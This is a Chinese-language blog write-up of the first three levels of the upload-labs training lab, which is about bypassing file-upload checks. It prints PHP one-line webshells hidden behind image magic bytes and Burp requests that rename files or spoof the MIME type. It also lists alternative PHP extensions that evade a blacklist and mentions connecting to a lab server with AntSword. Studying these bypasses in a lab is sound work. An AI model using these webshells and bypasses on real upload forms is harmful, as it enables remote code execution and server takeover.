Skip to content

upload-labs

Justki
Published date:
Edit this post

upload-labs

1.前端JS校验

var allow_ext = ".jpg|.png|.gif";

允许上传的后缀白名单

Content-Disposition: form-data; name="upload_file"; filename="1.gif"

在前端选择写有一句话木马的文件,然后用BP抓包,修改后缀,使得该文件能够被当作php文件来执行。

Content-Disposition: form-data; name="upload_file"; filename="1.php"

[!NOTE]

图片马(Image Webshell)

我习惯用用 010来写,

GIF89a
<?php @eval($_POST['cmd']); ?>

jpg

FF D8 FF E0
<?php @eval($_POST['cmd']); ?>

png

89 50 4E 47 0D 0A 1A 0A
<?php @eval($_POST['cmd']); ?>

右键图片,以新标签页打开,这样就可以看到URL了—— http://10.16.15.239/upload-labs/upload/1.php

然后用蚁剑连接。

2.MIME类型校验

if (($_FILES['upload_file']['type'] == 'image/jpeg') 
 || ($_FILES['upload_file']['type'] == 'image/png') 
 || ($_FILES['upload_file']['type'] == 'image/gif'))

只校验了 MIME 类型(type)

$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];

文件名完全可控

用用户提供的文件名,直接拼接成服务器上的存储路径

等价于:

服务器路径 = 上传目录 + "/" + 用户输入的文件名

所以修改mime类型就好了,

Content-Type: application/octet-stream
Content-Type: image/gif

3.

 if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//取最后一个点后的内容
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

可以用

.phtml
.php3
.php5
.phps
.pht

未完待续

Previous
Cross-site scripting
Next
SQLi-Labs